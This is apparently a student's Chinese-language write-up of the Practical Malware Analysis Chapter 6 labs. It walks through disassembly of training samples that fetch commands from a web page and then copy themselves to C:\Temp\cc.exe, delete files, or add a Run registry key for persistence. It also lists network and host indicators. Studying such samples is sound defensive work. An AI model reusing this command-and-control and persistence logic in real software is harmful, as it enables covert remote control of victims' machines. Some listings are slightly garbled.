

Lab6

Lab 6-1

1. What is the major code construct found in the only subroutine called by main?

```
.text:00401000 sub_401000    proc near          ; CODE XREF: _main+4↓p
.text:00401000
.text:00401000 var_4      = dword ptr -4
.text:00401000
.text:00401000         push    ebp
.text:00401001         mov     ebp, esp
.text:00401003         push    ecx
.text:00401004         push    0          ; dwReserved
.text:00401006         push    0          ; lpdwFlags
.text:00401008         call   ds:InternetGetConnectedState  调用Interxxx(0,0)
.text:0040100E         mov     [ebp+var_4], eax
.text:00401011         cmp     [ebp+var_4], 0          函数返回值与0比较
.text:00401015         jz      short loc_40102B
.text:00401017         ==> push    offset aSuccessInterne ; "Success: Internet Connection\n"
.text:0040101C         call   sub_40105F
.text:00401021         add     esp, 4
.text:00401024         !=> mov     eax, 1
.text:00401029         jmp     short loc_40103A
.text:0040102B ; -----
.text:0040102B loc_40102B:          ; CODE XREF: sub_401000+15↑j
.text:0040102B         push    offset aError11NoInter ; "Error 1.1: No Internet\n"
.text:00401030         call   sub_40105F
.text:00401035         add     esp, 4
.text:00401038         xor     eax, eax
.text:0040103A         ↓> loc_40103A:          ; CODE XREF: sub_401000+29↑j
```

在调用InternetGetConnectedState(0,0)后，是很明显的cmp；jz结构，所以此函数的主要结构是条件判断结构

2. What is the subroutine located at 0x40105F?

对sub_40105f函数进行分析，其中调用了两个特殊的系统API: __stbuf, __ftbuf。其中stbuf是对一块缓冲区进行初始化，以便进行输出或转化；ftbuf 则是将一个字符串转到标准输出流。

00401068	. E8 4B010000	call Lab06-01.004011B8	EAX 00000000
0040106D	. 8BF8	mov edi, eax	ECX 00407098
0040106F	. 8D4424 18	lea eax, dword ptr ss:[esp+0x18]	EDX 7C92E4F4
00401073	. 50	push eax	EBX 0000001D
00401074	. FF7424 18	push dword ptr ss:[esp+0x18]	ESP 0012FF44
00401078	. 56	push esi	
00401079	. E8 04020000	call Lab06-01.00401282	
0040107E	. 56	push esi	
0040107F	. 57	push edi	
00401080	. 8BD8	mov ebx, eax	
00401082	. E8 BE010000	call Lab06-01.00401245	
00401087	. 83C4 18	add esp, 0x18	
0040108A	. 8BC3	mov eax, ebx	
0040108C	. 5F	pop edi	
0040108D	. 5E	pop esi	
0040108E	. 5B	pop ebx	
0040108F	. C3	ret	
00401090	. 55	push ebp	
00401091	. 8BEC	mov ebp, esp	
00401093	. 6A FF	push -0x1	
00401095	. 68 B8604000	push Lab06-01.004060B8	
0040109A	. 68 D8264000	push Lab06-01.004026D8	

esp=0012FF44

C:\Documents and Settings\Administrat
Success: Internet Connection

对此函数进行调试，可以发现在调用了ftbuf之后，确实输出了0x40105f函数的参数。基本可以确定此函数是进行输出类的函数，如puts，printf等。进一步搜索后得知，stbuf和ftbuf是printf类函数的特征，所以可以确定函数sub_40105f是printf函数

3. What is the purpose of this program?

在main函数中仅调用了sub_401000函数，在sub_401000函数中输出了网络连接状况。

所以此程序的功能是检测网络连接并在交互窗口中进行输出

Lab 6-2

1. What operation does the first subroutine called by main perform?

主函数首先调用了sub_401000()函数。

```

.text:00401000 sub_401000    proc near                ; CODE XREF: _main+6↓p
.text:00401000
.text:00401000 var_4      = dword ptr -4
.text:00401000
.text:00401000         push    ebp
.text:00401001         mov     ebp, esp
.text:00401003         push    ecx
.text:00401004         push    0          ; dwReserved
.text:00401006         push    0          ; lpdwFlags
.text:00401008         call   ds:InternetGetConnectedState
.text:0040100E         mov     [ebp+var_4], eax
.text:00401011         cmp     [ebp+var_4], 0
.text:00401015         jz      short loc_40102B
.text:00401017         push    offset aSuccessInterne ; "Success: Internet Connection\n"
.text:0040101C         call   sub_40117F
.text:00401021         add     esp, 4
.text:00401024         mov     eax, 1
.text:00401029         jmp     short loc_40103A
.text:0040102B ; -----
.text:0040102B loc_40102B:                ; CODE XREF: sub_401000+15↑j
.text:0040102B         push    offset aError11NoInter ; "Error 1.1: No Internet\n"
.text:00401030         call   sub_40117F
.text:00401035         add     esp, 4
.text:00401038         xor     eax, eax
.text:0040103A loc_40103A:                ; CODE XREF: sub_401000+29↑j

```

函数中调用了InternetGetConnectedState，将返回值与0进行比较，并分支对不同的字符串调用sub_40117f函数。可以确定此函数进行网络状况的检测

2. What is the subroutine located at 0x40117F?

sub_40117f的结构与Lab06-1中sub_40105f函数完全相同，所以sub_40117f函数是printf函数

3. What does the second subroutine called by main do?

使用IE作为网络代理，访问<http://www.practicalmalwareanalysis.com/cc.htm>网页，读取网页内容，并返回网页的文本内容。

4. What type of code construct is used in this subroutine?

使用了三层嵌套条件判断结构

```

.text:00401070      call     ds:InternetOpenUrlA
.text:00401076      mov     [ebp+hFile], eax
.text:00401079      cmp     [ebp+hFile], 0
.text:0040107D      jnz     short loc_40109D
.text:0040107F      push    offset aError21FailToO ; "Error 2.1: Fail to OpenUrl\n"
.text:00401084      call    printf
.text:00401089      add     esp, 4
.text:0040108C      mov     ecx, [ebp+hInternet]
.text:0040108F      push    ecx ; hInternet
.text:00401090      call    ds:InternetCloseHandle
.text:00401096      xor     al, al
.text:00401098      jmp     loc_40112C
.text:0040109D ; -----
.text:0040109D      loc_40109D: ; CODE XREF: getHtml+3D↑j
.text:0040109D      lea     edx, [ebp+dwNumberOfBytesRead]
.text:004010A0      push    edx ; lpdwNumberOfBytesRead
.text:004010A1      push    200h ; dwNumberOfBytesToRead
.text:004010A6      lea     eax, [ebp+Buffer]
.text:004010AC      push    eax ; lpBuffer
.text:004010AD      mov     ecx, [ebp+hFile]
.text:004010B0      push    ecx ; hFile
.text:004010B1      call    ds:InternetReadFile
.text:004010B7      mov     [ebp+var_4], eax
.text:004010BA      cmp     [ebp+var_4], 0
.text:004010BE      jnz     short loc_4010E5
.text:004010C0      push    offset aError22FailToR ; "Error 2.2: Fail to ReadFile\n"
.text:004010C5      call    printf

```

.text:004010B1	call ds:InternetReadFile
.text:004010B7	mov [ebp+var_4], eax
.text:004010BA	cmp [ebp+var_4], 0
.text:004010BE	jnz short loc_4010E5
.text:004010C0	push offset aError22FailToR ; "Error 2.2: Fail to Rea
.text:004010C5	call printf
.text:004010CA	add esp, 4
.text:004010CD	mov edx, [ebp+hInternet]
.text:004010D0	push edx ; hInternet
.text:004010D1	call ds:InternetCloseHandle
.text:004010D7	mov eax, [ebp+hFile]
.text:004010DA	push eax ; hInternet
.text:004010DB	call ds:InternetCloseHandle
.text:004010E1	xor al, al
.text:004010E3	jmp short loc_40112C
.text:004010E5 ; -----	
.text:004010E5	
.text:004010E5 loc_4010E5:	; CODE XREF: getHtml+7E↑j
.text:004010E5	movsx ecx, [ebp+Buffer]
.text:004010EC	cmp ecx, 3Ch
.text:004010EF	jnz short loc_40111D
.text:004010F1	movsx edx, [ebp+var_20F]
.text:004010F8	cmp edx, 21h
.text:004010FB	jnz short loc_40111D
.text:004010FD	movsx eax, [ebp+var_20F]

5. Are there any network-based indicators for this program?

- 使用IE浏览器作为网络代理
- 访问<http://www.practicalmalwareanalysis.com/cc.htm>网页
- 读取网页的文本内容，并最长返回0x200长度的文本内容

6. What is the purpose of this malware?

此病毒的目的是检测网络连接情况后，如果连通则访问<http://www.practicalmalwareanalysis.com/cc.htm>网页并下载网页文本内容

Lab 6-3

1. Compare the calls in main to Lab 6-2's main method. What is the new function called from main?

Lab6-3程序中，与Lab6-2相比，除了调用检查网络连接、获取网页文本内容、输出获取结果之外，还多调用了sub_401130函数

2. What parameters does this new function take?

```

.text:0040123C ; -----
.text:0040123C
.text:0040123C loc_40123C: ; CODE XREF: _main+26↑j
.text:0040123C     movsx ecx, [ebp+var_8]
.text:00401240     push ecx
.text:00401241     push offset aSuccessParsedC ; "Success: Parsed command is %c\n"
.text:00401246     call printf
.text:0040124B     add esp, 8
.text:0040124E     mov edx, [ebp+argv]
.text:00401251     mov eax, [edx]
.text:00401253     push eax ; lpExistingFileName
.text:00401254     mov cl, [ebp+var_8]
.text:00401257     push ecx ; char
.text:00401258     call newFunc
.text:0040125D     add esp, 8
.text:00401260     push 0EA60h ; dwMilliseconds
.text:00401265     call ds:Sleep
.text:0040126B     xor eax, eax

```

此函数的两个参数分别是目标网页读取的文本和运行程序的参数，应该是代表存在的文件名

3. What major code construct does this function contain?

使用了switch分支结构

```

.text:0040113D     mov ecx, [ebp+var_8]
.text:00401140     sub ecx, 61h
.text:00401143     mov [ebp+var_8], ecx
.text:00401146     cmp [ebp+var_8], 4 ; switch 5 cases
.text:0040114A     ja loc_4011E1 ; jumtable 00401153 default case
.text:00401150     mov edx, [ebp+var_8]
.text:00401153     jmp ds:off_4011F2[edx*4] ; switch jump
.text:0040115A ; -----
.text:0040115A     off_4011F2 dd offset loc_40115A ; DATA XREF: newFunc+23↑r
.text:0040115A     loc_40115A: dd offset loc_40116C ; jump table for switch statement
.text:0040115A     ; D dd offset loc_40117F
.text:0040115A     push 0 dd offset loc_40118C
.text:0040115C     push offset PathName ; CreateTemp dd offset loc_4011D4
.text:00401161     call ds:CreateDirectoryA
.text:00401167     jmp loc_4011EE
.text:0040116C ; -----
.text:0040116C     loc_40116C: ; CODE XREF: newFunc+23↑j
.text:0040116C     ; DATA XREF: .text:off_4011F2↑o
.text:0040116C     push 1 ; jumtable 00401153 case 1
.text:0040116E     push offset Data ; "C:\\Temp\\cc.exe"

```

并且采用了jump table的方式进行跳转，根据switch的值，直接获得跳转的地址而避免了多次的cmp

4. What can this function do?

```

.text:0040115C      push    offset PathName ; "C:\\Temp"
.text:00401161      call    ds:CreateDirectoryA
.text:00401167      jmp     loc_4011EE
.text:0040116C      ; -----
.text:0040116C      loc_40116C:                ; CODE XREF: newFunc+23↑j
.text:0040116C      |                          ; DATA XREF: .text:off_4011F2↓o
.text:0040116C      push    1                  ; jumtable 00401153 case 1
.text:0040116E      push    offset Data        ; "C:\\Temp\\cc.exe"
.text:00401173      mov     eax, [ebp+lpExistingFileName]
.text:00401176      push    eax                ; lpExistingFileName
.text:00401177      call    ds:CopyFileA
.text:0040117D      jmp     short loc_4011EE
.text:0040117F      ; -----
.text:0040117F      loc_40117F:                ; CODE XREF: newFunc+23↑j
.text:0040117F      |                          ; DATA XREF: .text:off_4011F2↓o
.text:0040117F      push    offset Data        ; jumtable 00401153 case 2
.text:00401184      call    ds>DeleteFileA
.text:0040118A      jmp     short loc_4011EE
.text:0040118C      ; -----
.text:0040118C      loc_40118C:                ; CODE XREF: newFunc+23↑j
.text:0040118C      |                          ; DATA XREF: .text:off_4011F2↓o
.text:0040118C      lea     ecx, [ebp+phkResult] ; jumtable 00401153 case 3
.text:0040118F      push    ecx                ; phkResult
.text:00401190      push    0F003Fh           ; samDesired
.text:00401195      push    0                  ; ulOptions
.text:00401197      push    offset SubKey      ; "Software\\Microsoft\\Windows\\CurrentVe"...
.text:0040119C      push    80000002h         ; hKey
.text:004011A1      call    ds:RegOpenKeyExA
.text:004011A7      push    0Fh               ; cbData
.text:004011A9      push    offset Data        ; "C:\\Temp\\cc.exe"
.text:004011AE      push    1                  ; dwType
.text:004011B0      push    0                  ; Reserved
.text:004011B2      push    offset ValueName   ; "Malware"

```

此函数能够根据从网页读取的内容，分别进行以下操作

- 创建C:\Temp文件夹
- 将程序参数文件复制到C:\Temp中并命名cc.exe
- 删除C:\Temp\cc.exe文件
- 创建或修改注册表键值

5. Are there any host-based indicators for this malware?

- 创建C:\Temp文件夹
- 将参数文件复制到C:\Temp文件夹中并命名cc.exe
- 能够删除C:\Temp\cc.exe文件
- 创建Software\Microsoft\Windows\CurrentVersion\Run键并修改值

6. What is the purpose of this malware?

此病毒的目的是远程连接网络，根据读取的网页文本内容进行操作，实现文件复制、删除或修改注册表键值的单个操作。

Lab 6-4

1. What is the difference between the calls made from the main method in Labs 6-3 and 6-4?


```

.text:00401248      mov     [ebp+var_C], 0
.text:0040124F      jmp     short loc_40125A      for (i = 0
.text:00401251 ; -----
.text:00401251      loc_401251:                  ; CODE XREF: _main+7D↓j
.text:00401251      mov     eax, [ebp+var_C]      i++
.text:00401254      add     eax, 1
.text:00401257      mov     [ebp+var_C], eax
.text:0040125A      loc_40125A:                  ; CODE XREF: _main+1F↑j
.text:0040125A      cmp     [ebp+var_C], 5A0h      i <= 0x5a0
.text:00401261      jge     short loc_4012AF
.text:00401263      mov     ecx, [ebp+var_C]
.text:00401266      push    ecx
.text:00401267      call    getHtml
.text:0040126C      add     esp, 4
.text:0040126F      mov     [ebp+var_8], al
.text:00401272      movsx   edx, [ebp+var_8]
.text:00401276      test    edx, edx
.text:00401278      jnz     short loc_40127E
.text:0040127A      xor     eax, eax
.text:0040127C      jmp     short loc_4012B1
.text:0040127E ; -----
.text:0040127E      loc_40127E:                  ; CODE XREF: _main+48↑j
.text:0040127E      movsx   eax, [ebp+var_8]
.text:00401282      push    eax
.text:00401283      push    offset aSuccessParsedC ; "Success: Parsed command is %c\n"
.text:00401288      call    printf
.text:0040128D      add     esp, 8
.text:00401290      mov     ecx, [ebp+argv]
.text:00401293      mov     edx, [ecx]
.text:00401295      push    edx                  ; lpExistingFileName
.text:00401296      mov     al, [ebp+var_8]
.text:00401299      push    eax                  ; char
.text:0040129A      call    changeReg

```

与Lab6-3相比，Lab循环调用getHtml(sub_401040)和changeReg(sub_401150)函数，能够实现多次读取命令并执行不同的操作

2. What new code construct has been added to main?

如上题图，main函数中增加了for循环结构

3. What is the difference between this lab's parse HTML function and those of the previous labs?

```

.text:00401040      push    ebp
.text:00401040      mov     ebp, esp
.text:00401041      sub     esp, 230h
.text:00401043      mov     eax, [ebp+arg_0]
.text:00401049      push    eax
.text:0040104C      push    offset aInternetExplor ; "Internet Explorer 7.50/pma%d"
.text:00401052      lea     ecx, [ebp+szAgent]
.text:00401055      push    ecx                  ; char *
.text:00401056      call    sprintf

```

与之前的函数相比，Lab4中的getHtml(sub_401040)函数有一个参数，是循环变量i，使用的网络代理受传入的参数决定。

4. How long will this program run? (Assume that it is connected to the Internet.)

程序将运行1440*0xea60毫秒，即24小时

5. Are there any new network-based indicators for this malware?

- 使用Internet Explorer 7.50/pma%d代理，%d是循环的次数。
- 循环访问<http://www.practicalmalwareanalysis.com/cc.htm>网页
- 读取网页的文本内容，并最长返回0x200长度的文本内容

6. What is the purpose of this malware?

此病毒的目的是检测网络连接后循环访问<http://www.practicalmalwareanalysis.com/cc.htm>网页并获取网页文本内容，根据获取的文本内容作为指令代号，多次执行特定的创建目录、复制删除文件和修改注册表键值的操作，实现远程控制的功能。